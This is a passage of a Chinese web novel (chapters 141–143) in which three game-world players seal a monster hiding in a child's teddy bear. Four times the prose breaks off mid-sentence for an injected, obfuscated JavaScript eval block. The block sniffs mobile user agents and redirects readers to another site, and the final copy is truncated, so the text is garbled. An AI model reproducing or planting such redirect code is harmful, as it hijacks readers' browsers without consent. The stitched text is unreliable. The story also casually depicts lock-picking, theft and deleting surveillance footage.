“算了算了,溜进别人家确实是我们理亏。”向枝冥懒洋洋道,“比起这个,我更担心的是今晚怎么办?陈奶奶住院,怪物还在402,我们总不能二次非法入侵吧?再被抓可就不是罚款能解决的了。” 随歌眼睛突然一亮:“等等,陈奶奶现在在住院,402没人住,对吧?” 初与序和向枝冥看向他。 “如果我们把402租一天呢?”随歌继续道,“租下来,这一天房子就算我们的,我们进去,合情合理合法!” 向枝冥嗤笑一声:“怎么租?总不能真去跟住院的老太太说:‘借您房子抓个怪物’吧?说完咱仨就精神病院见了。” “那别管了,先去医院再说。”随歌向来不是什么喜欢提前做计划的人,“医院门口有早点摊吧?我记得那里还卖草莓牛奶。” 三人来到医院,站在医院门口的早点摊前,蒸笼的热气混着豆浆的香气飘散在空气里。 初与序盯着手里的包子想了想:“直接和陈奶奶谈,就说我们愿意赔偿所有损坏的家具,并且帮她找回陈小雨。”她顿了顿,“她肯定知道自己的孙女失踪了,只是被怪物影响了。” 随歌刚咽下去的草莓牛奶差点喷出来:“等会儿,我们上哪找她孙女?” “先把怪物解决了,再考虑找人,前提是那孩子还活着。”向枝冥耸耸肩。 随歌抓了抓头发:“行吧,但赔家具得要钱啊,我刚交完罚款,穷得叮当响。”他看向两人,“你们俩有钱不?” 向枝冥和初与序:“……” “算了算了,看你们俩就不是有钱的样子。”随歌掏出手机,“等我摇意哥。” 电话接通,扬声器里传来一个冷淡慵懒的男声,带着刚睡醒的沙哑:“……说。” “意哥,借点钱呗?”随歌笑嘻嘻道。 “多少?” 随歌想了想,试探道:“你先给五十万?” 电话那头安静了几秒,江意缓缓开口:“你们在‘现实’打哥斯拉了?” 初与序:“……” 向枝冥:“……” 随歌见怪不怪地哈哈一笑:“开玩笑开玩笑,借五千就行了,我们在抓怪物,不小心弄毁了别人家客厅的茶几桌椅。” “叮——”,转账提示音立刻响起。随歌晃了晃手机屏幕,余额多了一万。 他又对着电话那头问道:“意哥,如果一个六岁小孩子失踪了,我们可以去哪里查线索?” “去孩子的幼儿园。”江意甚至没有思考,“再看看孩子有没有什么特别喜欢的物品,比如玩偶、图画书等等,一般会有线索。” “明白!”随歌笑嘻嘻道,“谢谢意哥!” 他收起手机时,另外两人还在为江意的话感到震惊。向枝冥扬起眉:“这就是全服第一的财力吗?直接乘两倍给?” “习惯就好,他经常爆金币,我已经欠他四万块了。”随歌将草莓牛奶瓶子扔进一旁的垃圾桶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772950|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走吧,去找陈奶奶。” 这次护士终于同意三人进入陈奶奶的病房,病房里只有陈奶奶一人,正靠在床头。她的目光落在三人身上,浑浊但清醒了很多。 随歌笑嘻嘻走过来:“奶奶,我们来看您了!” 他笑容灿烂,仿佛昨天被扫帚赶出去的人不是他。 接下来的半小时里,随歌则充分发挥了他的话痨天赋:从“社区关怀独居老人”聊到“房屋安全隐患排查”,从“孙女失踪案的民间线索”聊到“免费家具维修服务”,中途还即兴编造了“大学生社会实践学分”的故事。 而在这半小时内,另外两人坐在一边的沙发上,初与序面无表情吃着早饭,向枝冥听得差点睡过去。 随歌说累了,瘫倒在一边。初与序终于看向陈奶奶:“除此之外,我们可以帮您找到小雨。” 老人眼睛一亮,猛地攥紧床单,盯着她:“真的……?” 初与序点头,从一边的桌上拿起纸笔,当场写下一份简易合同: 【房屋临时使用协议】 「甲方:陈桂芳」 「乙方:初与序、随歌、向枝冥」 「1.甲方自愿将纺织厂家属院3栋2单元402室借予乙方使用1天(自签字起24小时)」 「2.乙方负责修缮屋内损坏家具(茶几、桌椅等)」 「3.乙方承诺全力协助寻找陈小雨」 …… 陈奶奶颤抖着签下名字,泪水砸在合同纸上,晕开一小片水痕。 初与序收起合同,轻声道:“今天太阳落山前,我们会解决一切。”她看向陈奶奶,“请问,小雨失踪前,最喜欢什么?经常拿着什么?” “喜欢…”陈奶奶的瞳孔收缩,“熊…她的熊那天不见了,小雨哭着去找…” 随歌疑惑地和初与序对视一眼,又问道:“能把陈小雨的幼儿园地址给我们吗?说不定那里有线索。” 陈奶奶在纸上写下一串地点,交给随歌。 随歌道谢接过,三人走出病房,坐在外面的长椅上复盘这一段时间的线索。 “昨天陈奶奶昏迷前,说的是‘别念那首歌’。”向枝冥思考着,“但如果怪物依附的是她对她孙女的思念,那她应该最想听童谣才对。” “对啊。”随歌反应过来,“为什么陈奶奶那么说?” 初与序没说话,在脑海里将所有记忆串联起来——次卧衣柜里的红色连衣裙,墙上蜡笔写的“妈妈的小钥匙藏在哪?”,以及电表异常的时间点。 她忽然抬起头:“是玩偶,怪物真正的宿主是陈小雨的玩偶熊。” “我靠!”随歌一拍大腿,“难怪怪物昨晚是敲次卧的门,宿主根本不是陈奶奶。” “分头行动。”初与序站起身,“我去陈小雨幼儿园,随歌去找玩偶,向枝冥想办法拿到更强的探照灯。” 随歌比了个“ok”的手势:“保证完成任务。” 向枝冥懒散地挥挥手,转身走向另一边出口。 初与序按照陈奶奶给的地址,来到幼儿园门口。 141.棕熊玩偶 暑假的校园空无一人,滑梯和秋千安安静静地在烈日下。保安亭里,保安正打着瞌睡,收音机里咿咿呀呀放着黄梅戏。 初与序懒得编借口,于是绕过保安亭,直接来到后院围墙,翻了过去。 落地时踩碎了一截粉笔,地上还残留着孩子们跳房子画的格子,彩色粉笔的痕迹被太阳晒得发白。 园长办公室的锁是老式的十字钥匙门,初与序在路边捡到一根细铁丝,三秒后,门锁“咔哒”轻响,被她缓缓推开。 屋内闷热潮湿,档案柜上贴着【2021级-2025级】的便签。她很快找到陈小雨的档案: 「姓名:陈小雨」 「班级:向日葵小班」 「家庭联系人:陈桂芳(奶奶)」 「备注:最喜欢《小钥匙童谣》,午睡时必须抱着棕色泰迪熊。」 档案袋里滑出一一张泛黄的纸,上面印着完整的童谣歌词,字迹稚嫩,像是孩子描摹的: 《小钥匙》 「妈妈的小钥匙,打开门的秘密。」 「别让黑暗爬进来,我会乖乖等待。」 「小钥匙,银闪闪,妈妈回来把门开。」 「不开不开就不开,妈妈没回来。」 「妈妈的小钥匙藏在哪?」 「在枕头下,在梦里呀。」 纸页边缘有反复折叠的痕迹,像是曾被孩子偷偷藏进口袋。 初与序掏出手机拍下照片,将档案归位。离开时,槐树的影子正正投在保安亭窗上,遮住了监控死角。 废品站,随歌站在铁皮棚下,热浪裹着金属锈味扑面而来。他抬头擦了把汗,冲蹲在废纸堆旁的中年男人咧开嘴笑道:“叔,跟您打听个事儿!” 男人抬头,黝黑的脸上沾着油污,警惕地打量这个突然出现的黄毛小子。 随歌从兜里掏出半包烟(顺的向枝冥的),递过去:“上礼拜纺织厂家属院是不是收过一只玩具熊?可能是棕色的,大概这么大。”他按照记忆力中玩具熊的大小,比划了一下。 男人没接烟,眯着眼:“你谁啊?” “我妹的玩具!”随歌偷偷掐了自己一把,顿时疼得眼眶发红,演技说来就来,“那熊是咱妈留的遗物,不小心被奶奶当垃圾扔了,小姑娘哭得快背过气去!” 男人将信将疑,但目光在烟盒上停留了两秒。 随歌把整包烟塞进对方手里:“您帮我找找。” 十分钟后,男人从棚屋深处拖出个脏兮兮的编织袋。他踢了踢袋子:“就这个,老太太非要扔,说熊会半夜唱歌,神经病似的。” 袋口滑开,一只褪色的棕熊玩偶歪倒出来。右耳朵缺了一块,露出发黄的棉絮。左眼纽扣脱落,仅剩下一条黑线。围裙口袋上还用红线锈着“小雨”二字。 随歌伸手去拿,刚碰到熊腿,就听玩偶腹腔里传来“咚”的一声,像是心脏跳动。 男人吓得后退半步:“我操!这什么鬼东西?!” 随歌立刻脱下外套裹住玩偶,抱在怀里,笑容不变:“电子元件漏电了吧?谢谢叔啊!”说完,没等男人反应,他撒丫子跑得飞快,转眼间就消失在街角。 男人:“???” 等到没人的地方,随歌摸出手机,给另外两人发了条语音:“找到了,这熊还会蹦迪。现在还差啥来着?” 【向枝冥】:差探照灯,我已经到工地了,找老板借。 【随歌】:那你加油! 向枝冥收起手机,站在工地门口,眯眼望着里面堆放的器材。他刚一走近,就听见一阵激烈的争吵声。 一个满手老茧的工人正揪着一个戴金链子的胖老板的衣领,声音嘶哑:“三个月!老子干了三个月!你一分钱不给,现在跟我说工程款没到?!” 胖老板满脸油汗,试图掰开工人的手:“松手!你他妈松手!工程款没结我拿什么发?再闹我报警了!” 向枝冥原本插兜看戏的表情渐渐冷了下来,他慢悠悠走过去,站在工人旁边,盯着老板:“哟,老板,欠薪啊?” 老板瞪他:“关你屁事?你谁?” “不关我事,但我这人就爱管闲事。”向枝冥指了指工人,“人家干三个月,你一分不给,合适吗?” “你懂个屁!”老板翻白眼,“甲方没打款,我拿命发工资?!” 向枝冥幽幽道:“那你他妈接工程的时候没算成本?没钱你开什么公司?” 老板气得脸涨红:“你算老几?在这里指手画脚?” “我不算老几。”向枝冥掏出手机晃了晃,“不过我知道,拖欠工资最高赔双倍哦。要不我现在帮你查查?” 工人见状,立刻火上浇油:“就是!我们十几号兄弟,天天干到半夜,饭都吃不起!你今天不给钱,我们直接去劳动局!” “你们威胁我?!”老板额头青筋直跳。 向枝冥笑嘻嘻道:“不是威胁,是讲道理。要不这样,你现在给钱,我们当没事发生?” 老板指定不同意,两人你来我往对骂了半小时,脏话满天飞,其余工人凑过来为向枝冥加油打气,引得路人纷纷侧目。 初与序刚从幼儿园回来,手里还拿着打印下来的童谣档案照片。她远远看见向枝冥站在工地门口,和一个胖男人吵架,旁边还围了一群工人。 她走近,面无表情地站在一旁:“……” 向枝冥瞥见她,抽空打了个招呼:“哟,来了?” 初与序:“你在干什么?” 向枝冥:“帮人要工资,一起吗?” 初与序:“……探照灯呢?” 向枝冥:“……” 他这才想起来自己本来是来干嘛的。 老板见他们认识,立刻转移火力:“你们是一伙的?想讹钱是吧?!” 初与序冷淡地扫了老板一眼,然后对工人说:“工资单有吗?” 工人从兜里掏出一张皱巴巴的纸,初与序看了一眼,抬眼对老板说:“三万六,现金还是转账?” “我……” “不给就报警,劳动仲裁,法院见。” 最终,在工人和两人的“友好协商”下,老板咬牙切齿地掏出了手机,当场转账。工人们欢呼着散去,老板则恶狠狠地瞪着向枝冥和初与序: “你们不是要借探照灯吗?滚!老子不借!” 向枝冥上前一步,正要再骂,初与序突然伸手拦住他,直接把他拖走。 走到工地转角,两人才停下,向枝冥不爽道:“你拉我干嘛?那傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782352|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼欠骂!” 初与序没说话,只是抬手。她手里,赫然拎着一台便携式探照灯。 灯体沾着水泥灰,电池槽贴着工地编号,开关处还有新鲜的刮痕,绝对是刚从工地顺出来的真货。 向枝冥一愣:“我靠,你啥时候拿到的?” 初与序说:“刚刚。” 向枝冥震惊:“那工头没发现。?” 初与序淡淡地看了他一眼:“他在忙着和你对骂。”说着,她把探照灯递给向枝冥,“用完记得放回去,不然又要被抓进派出所。” “行。”向枝冥接过灯,“等解决了怪物,我亲自还他,顺便再骂他一顿。” 他话音刚落,天际忽然传来一声闷雷。几滴冰凉的雨点砸在水泥地上,很快连成一片淅淅沥沥的雨幕。 三人汇合,在家属院东侧公交站棚底下躲雨,头顶的铁皮顶被雨点敲得叮咚作响。 随歌拉开外套,想把玩偶拿出来给两人看。他的手刚伸进去,表情就凝固了。 “玩偶呢?!” 外套里面空空如也,只剩几缕发黄的棉絮。 “???” 三人对视一眼,立刻冲向街对面的便利店,那里装着社区监控显示屏。老板娘正打着瞌睡,被初与序冷静的“警察办案”四个字唬住,手忙脚乱调出监控。 画面中,随歌站在公交站,手里拎着外套。外套微微露出一条缝。紧接着,外套突然诡异地鼓动两下,一只棕熊玩偶自己顶开拉链,悄无声息地滑倒地上。 玩偶用不自然的姿势立起,摇摇晃晃走过雨中的马路,拐进纺织厂家属院大门,消失在监控死角。 三人盯着屏幕,一时无声。 “完蛋了完蛋了!”随歌低声道,“这要是被人拍到发网上,#安徽惊现灵异玩偶#明天就得爆热搜!’” “快追!”初与序飞快把这一段监控删除,拔腿就往玩偶走的地方跑去,另外两人紧随其后,留下一脸懵的老板娘。 雨幕中,棕熊玩偶正以诡异的姿态向前移动。棉絮腿脚交替迈动,雨水浸透它的身体,却丝毫不影响速度,每走三步就机械地回头“看”一眼。 向枝冥一个箭步冲上前,探照灯已经握在手中:“抄近路!前面右拐有个废弃仓库!” 三人刚追进小巷,玩偶突然加速,拐进一栋废弃的配电房。 生锈的铁门被初与序一脚踹开,只见玩偶静静地站在仓库中央,腹腔有规律地鼓动,像在呼吸。 随歌刚要上前,整间仓库的玻璃突然同时爆开! 碎玻璃如雨般溅落,墙缝下渗出黑色黏液,黑暗中无数阴影从墙角蠕动升起,逐渐凝聚成瘦长人形。 “这玩意儿怎么提前苏醒了?!!”随歌被吓了一跳。 童谣敲门者苍白的手指扒开玩偶后背的缝线,如同蜕皮般从棉絮中钻出,裂至耳根的嘴一张一合: “小……钥……匙……” 向枝冥没废话,猛地按下探照灯开关。 刺目的白光如利剑劈开黑暗,怪物发出尖啸声,刚凝聚成形的躯体在强光中扭曲溃散。 “玩偶是它本体藏匿点,先离开这里!”初与序喝道。 三人撞开后门冲进雨中,身后传来玩偶落地的闷响。 142.收复怪物 钥匙插进锁孔,“咔嗒”一声轻响,三人光明正大地踏入402室。随歌甩了甩淋雨导致湿漉漉的黄发,得意道:“这次咱仨可是合理合法,没有翻阳台!” 屋内仍保持着昨夜的狼藉,茶几翻倒,墙上残留着焦黑的抓痕和干涸的黑色黏液。 初与序取出刚刚在便利店买的镜面贴纸:“抓紧时间,趁怪物还没完全恢复。” 三人分工明确,初与序裁剪贴纸,覆盖所有窗户;向枝冥加固门缝,防止阴影渗入;而随歌调整探照灯角度,确保无死角覆盖。 正当初与序踩着椅子贴最后一块镜面时,大门突然被重重砸响:“砰砰砰!” 随歌皱眉开门,昨天报警的妇人正叉腰站在门外,脸色铁青:“又是你们!非法入侵!我就说你们不是什么好人!肯定和杀狗犯是一伙的!你们等着吧,我这就报警!” “打住!”随歌从口袋里掏出合同,抖开,“白纸黑字写清楚了,今天一整天,这房子归我们。”他指着陈奶奶的签名,“您要是不信,可以去医院问陈奶奶本人。” 妇人噎住,仍不死心:“那、那我家旺财……” 提到旺财,随歌就想起那八百元。他气不打一处来:“警察都查过监控了,真不是我们。您要是想找到真凶,找个办法和您家旺财通灵,问问它不就行了?” 说完,他毫不犹豫关上门,把妇人的咒骂声隔绝在外。 向枝冥拍了拍手上的灰尘,抬起头:“继续?” 初与序已经站在次卧门前,手指按着那张写满童谣的纸:“开始吧。” “等一下!”随歌忽然叫停,“倒念歌词,是指把所有字倒着念,还是把整首诗倒着念?” 另外两人意识到这个问题,沉默片刻。初与序看向歌词第一句,犹豫道:“可能是…‘呀里梦在,下头枕在’…?” 向枝冥睁大眼:“难道不是‘在梦里呀,在枕头下’,这么念的吗?” “啥?”随歌愣住,“我觉得应该是‘在枕头下,在梦里呀,妈妈的小钥匙藏在哪’。” 直到现在,三人才发现,他们理解的“倒念童谣”都不一样。 “听谁的?”向枝冥问。 随歌认真举手:“听初与序的。” 初与序侧头看两人:“你们确定?” “别管那么多。”向枝冥挥挥手,从厨房里随便拿起一把锋利的水果刀,“先按照你说的念,如果不行,就试我们俩的。” 初与序没有犹豫,点了点头。她站在次卧中央,镜面贴纸将探照灯的光束折射成无数交错的光网。她展开那张打印的童谣纸,声音清晰地念出: “妈妈的小钥匙,打开门的秘密,别让黑暗爬进来,我会乖乖等待……” 衣柜门板从内部被重重撞击,黑色液体从缝隙渗出,蜿蜒向初与序的鞋尖。初与序没动,开口继续念: “小钥匙,银闪闪,妈妈回来把门开。不开不开就不开,妈妈没回来。” “妈妈的小钥匙藏在哪?在枕头下,在梦里呀……” 话音刚落,整个次卧的空气猛地扭曲!衣柜门板“轰”地炸开,木屑飞溅中,童谣敲门者的苍白躯体如炮弹般射出! 初与序飞快躲开,怪物利爪在白皙的前面上留下五道焦黑裂痕。她反手肘击砸向怪物脊背,怪物的躯体立刻虚化,又在半米外凝实,四肢扒出天花板。 “小……钥……匙……” 向枝冥立刻按下总开关,探照灯爆发出刺目白光!怪物尖笑着扑来,却在触及光网时被灼伤,发出嚎叫。但它没有退缩,反而猛地上前,修长的手臂如鞭子般甩向随歌的喉咙。 随歌后仰闪避,却见手臂突然延长,五指成爪直取他眼球。 初与序猛地侧踢将怪物踹偏,随歌趁机滚地起身,额角已见冷汗:“这玩意儿速度太快了,难怪S23说怪物绝对不能离开永冬之城副本。” 怪物四肢着地,在天花板和墙壁间快速爬行。它的关节发出“咯吱”声,每次移动都在墙面上留下粘液痕迹。 向枝冥突然跃起,水果刀尖直刺怪物后背。刀刃没入苍白的皮肤,像刺入一团沥青。怪物反手抓住他的手腕,力道大得差点捏碎骨头。 它将向枝冥重重摔在地上,顺势扑下,裂至耳根的嘴张开到夸张的角度,露出层层爹爹的尖牙。 “你他妈给我回去!”随歌趁机将探照灯一脚踢向怪物,灯光直直刺向怪物面门。怪物痛苦松手,向枝冥趁机起身后退,后壁已经呈现不自然的弯曲。 “断了?”初与序问。 “脱臼而已。”向枝冥咬牙,抓住手腕猛地一推,“咔”地一声接了回去。 怪物猛地跃起,还想再攻击向枝冥。初与序已不知何时出现在它身后,鞭腿在抽在怪物太阳穴,将它踹得踉跄后退。墙面镜膜反射的强光灼烧怪物,它立刻蹿上天花板。 “倒念歌谣!”初与序朝随歌说,抬腿踹向怪物,怪物被冲击力撞向地面,却顺势滚到地上的棕熊玩偶旁。 随歌在混乱中找到那张童谣纸,语速飞快:“呀梦里,在下头枕…在?藏哪的匙钥的小妈妈!” 怪物躯体突然痉挛,七窍喷出黑色粘液。它发狂般扑向随歌,却被向枝冥凌空截住,两人滚作一团撞在墙上。 “你瞎念什么?”向枝冥忍着痛骂,“歌词顺序念错了!” “你急什么急?!”随歌念的得绕口,“来回没妈妈开不?就开不开不…开门把回来妈妈,闪闪银,匙钥小。” 初与序趁机捡起水果刀,刀尖精准刺入怪物右眼!怪物又一次高频尖啸,震碎了所有灯泡。黑暗中,怪物挣脱束缚,残缺的头颅180度扭转,咬向初与序手腕。 随歌急得喊出剩下两句:“待等乖乖会,我…来进爬暗黑让别密,秘的门开打,匙钥小的妈妈!” 初与序持刀直刺,水果刀爆出刺目蓝光,怪物在声波与利刃的双重绞杀下剧烈抽搐。它的躯体像被无形之手拧转压缩,最终化为黑色洪流,“嗖”地缩回玩偶体内。 棕熊玩偶静静地躺在地上,右眼的纽扣“嗒”地一声脱落,滚到了初与序脚边。 三人悬着的心放了下来,初与序靠在墙边喘着气。次卧已经面目全非,墙面上满是抓痕和粘液,家具碎成木屑,探照灯歪斜在一旁,镜面贴纸碎了大半。 窗外的暴雨不知何时停了,月光透过破碎的窗户照进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782353|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,落在那枚纽扣上。初与序捡起纽扣,说:“暂时封印了。” 向枝冥甩了甩被怪物抓伤的手腕,血珠顺着手臂滑落,他随手扯了一块布条缠上。 下一秒,客厅大门忽然再次被敲响。 “砰砰砰!” 三人瞬间绷紧身体,目光锁定大门。随歌压低声音:“怪物不是收容了吗?” “还有漏网之鱼?”向枝冥皱眉,伸手捡起掉在地上的水果刀。 初与序示意他们闭嘴,走到门前,拉开一条缝隙。 门外站着四五个邻居,为首的人满脸怒气:“你们家这两天晚上干什么呢?!” 他身后的大妈叉腰附和:“昨天大半夜乒乒乓乓,今天天刚黑下又在吵!还让不让人睡觉了?” 另一个戴眼镜的老头推了推眼镜:“我家孙女明天还要上学!信不信我们现在就报警,说你们半夜扰民?!” 初与序沉默了一秒,微微低头:“抱歉。” 几人还想说什么,突然注意到开门的初与序。她脸色苍白,手背上还有一道未干的血痕,衣服上沾着灰尘。 再往屋里一看,茶几翻倒,玻璃杯被砸碎,墙纸被撕开,露出焦黑的抓痕。向枝冥坐在地上,手臂缠着染血的布条,随歌头发乱糟糟的,脸上还有淤青。 “你们……” 随歌一个鲤鱼打挺跳起来,弯腰鞠躬:“对不起对不起!我们这是在排练…呃,舞台剧!动作戏!这些都是道具,伤也是化妆的!” 向枝冥也难得配合:“对,明天就演出了,吵到大家实在抱歉。” “我们马上收拾。”初与序淡淡道。 邻居们面面相觑,他们原本怒气冲冲,但看着三人极为诚恳道歉的样子,再加上…… 不得不说,这三人虽然一身“化妆伤”,但长得确实养眼,看一眼气消了一大半。 “……算了算了。”为首的人摆摆手,“下次注意点,大半夜的别折腾了。” “是是是!”随歌点头如捣蒜。 邻居们又嘀咕了几句,终究没再追究,转身离开了。 向枝冥瘫回沙发,懒洋洋道:“没想到最后差点败在邻居手上。” “咱还有两个任务。”随歌对着镜子,往自己鼻梁伤口上贴创口贴,“先联系装修公司,让他们来这里把家具换掉。再想办法找到陈小雨,交给陈奶奶。” “还要把探照灯和社区工作服送回去。”向枝冥抖了抖身上的衣服,又看向一旁的探照灯,“我还等着和那个包工头激情对骂呢。” 初与序:“……” 她刚想说话,右耳的耳骨夹突然亮起蓝光,传来微弱的电流声。 “阿序。”冬逢初的声音在脑海里响起,“S23被系统强制调去修复崩坏的副本,暂时无法操作穿越门。” 初与序闻言一愣:“什么时候回来?” “不知道。”冬逢初叹道,“明晚穿越门自动关闭时,才能把你们弹回来,你们要在‘现实’多待一天了。” 初与序望向窗外,城市街道安静,远处广告牌上明星笑容标准得不像活人,像现实,但又不是现实。 “好。”她回答。 143.结束 初与序把冬逢初的话给另外两人重复了一遍,随歌比了个“OK”的手势,翘着二郎腿坐在翻倒的茶几上,给装修公司打电话:“对,纺织厂家属院3栋2单元402,今天能来人吗?……行,现在过来看看吧。” 半小时后,装修公司的人拎着工具包进门,环顾一圈,眉毛越挑越高。 玻璃碎裂的茶几,木质框架被怪物抓出三道深痕;餐桌一条桌腿断裂,桌面有黑色黏液灼烧痕迹;墙面多处壁纸剥落,焦黑抓痕从地板延伸到天花板;次卧门锁芯变形,门框边缘有撕裂痕迹…… 工头摸了摸下巴:“这得换茶几、修桌子、重贴壁纸、换门锁……算上人工费,大概7000,算你熟人价6500,今天中午就能弄完。” 随歌比了个“OK”的手势,付完钱一转头,就见初与序拿着抹布,擦拭墙上的焦痕。忍不住开口:“不是,咱们刚搞定怪物,不应该去找陈小雨吗?” 初与序头也不抬,伸手往窗外一指:“她自己回来了。” 另外两人同时一愣,立刻扑到窗边往下看。 楼下,两名警察正牵着一个穿红色连衣裙的小女孩,缓步朝医院方向走去。她怀里还紧紧抱着一只崭新的小熊玩偶,脸上还带着懵懂的笑,似乎完全不记得自己失踪这段时间发生了什么。 向枝冥挠头:“所以怪物被收容后,‘现实’世界的异常也自动修正了?” 初与序拧干抹布:“嗯。” 三人继续大扫除,装修师傅们扛着新家具进进出出,电钻声、锤子声敲打声混成一片。 随歌瘫在新换的布艺沙发上,手里捏着灌冰可乐,悠哉悠哉地指挥向枝冥:“向道长,左边那幅画再往上调两厘米……不对不对,过了过了,下来一厘米!不对,又过了!” 向枝冥手里拎着山水画,气得大骂:“你他妈自己来挂!” “你菜就多练!” “……”初与序坐在窗边,看着鸡飞狗跳的两人,叹了口气。 经过一上午的折腾,402室终于焕然一新。中午的阳光透过新换的纱帘洒进来,装修师傅收拾工具准备离开。老师傅擦了把汗,忍不住问:“你们这‘舞台剧’到底演什么?能把房子折腾成这样?” 随歌一本正经:“《勇者斗恶龙》现实版。” 老师傅:“???” 向枝冥从窗台上跳下来,拍了拍手上的灰:“别理他,老年痴呆提前了。” 初与序把擦好的相框放回电视柜,照片里,陈奶奶和陈小雨站在阳光下,笑得温暖。 “接下来我们去干啥?”随歌捡起地上的棕熊玩偶,塞进S23给的束缚带中,“我在安徽这边没啥熟的地方,总不能就在这儿等着?” 向枝冥擦着沾满灰的手,随口道:“本来想带你们去玄机观转转,不过那地方在青鸾山,路太远,算了。” 三人讨论了半天,实在没地方去,只好选择坐大马路上当街溜子,等回永冬之城的时间到。 初与序率先走出门,向枝冥拎起探照灯,随歌拿起三人洗好的社区工作服,立刻跟上。 社区管工作服的阿姨见三人真把工作服整整齐齐地还了回来,甚至还洗了一遍,拍着随歌的肩膀夸奖。而当向枝冥把探照灯带回工地时,就没有这么岁月静好了。 “你还敢来?!”那个工头正蹲在阴凉处啃西瓜,一抬头看见熟人,跳起来就骂,“我们这儿的探照灯是不是你拿的?东西呢!” “东西还你。”向枝冥把探照灯往地上一放,指了指工头身后,“顺便通知你一声,你钢筋堆放违规,消防通道堵塞,信不信我举报到安监局?” 工头暴怒:“你他妈……” “行了行了!”随歌一个箭步冲上前,拽出向枝冥的胳膊就往外拖。 工头在后面继续跳脚:“小兔崽子下次别让我看到你!” “嘿你——”向枝冥转头就要继续骂骂咧咧,随歌拉拉扯扯把他拉出工地,“行了行了,再吵我们三个又要见到警察了!” 初与序走在前头,身后两人叽叽喳喳吵得像五百只鸭子。她揉了揉太阳穴,转头看见一个小商店,停下脚步,回头道:“你们等一下,我去买包烟。” 买完烟再回来时,随歌和向枝冥正蹲在路边,各自捧着一碗热气腾腾的山粉圆子烧肉。 见她出来,随歌举起手里另一份打包好的碗,含糊不清道:“向枝冥说这是安徽特色,这是你的。” 初与序摇头,示意没胃口不想吃。 “得了吧。”向枝冥瞥了她一眼,“咱仨这两天就啃了一顿早饭包子,待会儿你饿死了,我们怎么和江意他们解释?” 随歌疯狂点头:“就是!景明垂和冬逢初要是知道你没吃东西,肯定要追杀我们!” “……”初与序沉默两秒,最终还是接过碗,但只是拎在手里,没动筷子。 三人就这样并排坐在马路牙子上,随歌顺手把空碗搁在面前:“你们说,要是我们真能回到真正的现实,咱们算哪种?” “失踪人口?死亡复活?还是说现实时间根本没动过,咱们回去还是进永冬之城那天的模样,我20岁?” 向枝冥耸耸肩:“大概和这个现实一样,是失踪人口吧?”他扯了扯嘴角,“但永冬之城几百万人同一天回归?现实世界怕是要炸锅。” “反正我可不希望我们回现实那天,是我进入永冬之城的那天,否则我宁愿待在永冬之城。”他最后很小声地说了一句。 初与序还想说什么,一位拎着菜篮的大妈路过,低头瞥见随歌面前的空碗,再看了看他乱糟糟还带了一点点血的黄毛,和较瘦的身形,顿时目露怜悯。 “叮当”两声,大妈往碗里扔了三枚硬币。 随歌:“……???” 大妈慈祥道:“孩子,买点热乎的吃吧。”说完还拍了拍他的肩,摇头叹息着走了。 向枝冥愣了几秒,随后爆发出惊天动地的笑声:“哈哈哈我操!真把你当要饭的了!这波血赚!白嫖三块钱!” 就连初与序也忍不住,偏过头笑出声。 随歌捏着三枚硬币,悲愤交加:“我哪里像乞丐了?!老子积分在永冬之城可是排名前五十啊!那里1积分可以抵现实1000人民币的!” “对对对,你是富豪,行了吧。”向枝冥敷衍道。 初与序的耳骨夹传来电流轻响,冬逢初温和的声音传来:“穿越门十分钟后开始关闭,找个没人的角落。” 初与序站起身,另外两人立刻会意。三人拐进两栋建筑间的狭窄缝隙,墙面上爬满藤蔓植物。 “你们看!”随歌忽然指着天空。 远处的云层正在扭曲,像被无形的手撕开。紧接着,仿佛有一根无形的线拽住后腰,三人瞬间消失在原地。 永冬之城处罚区穿越门前,景明垂和冬逢初同时抬起头。前方的空气突然扭曲成漩涡。下一秒,三个人踉跄着出现在原地,身上还带着“现实”里夏日夕阳的余温。 “靠冷死了冷死了。”随歌立刻把脱下来的外套重新套在身上,“差点忘记永冬之城是冬天了。” “欢迎回来。”景明垂淡淡地说,她的目光迅速扫过初与序全身,在确认没有新增伤口后松了口气。 C13匆匆走来,制服上还沾着灰尘:“S23还在修副本,怪物给我处理。” 初与序随手一伸,把拎着山粉圆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 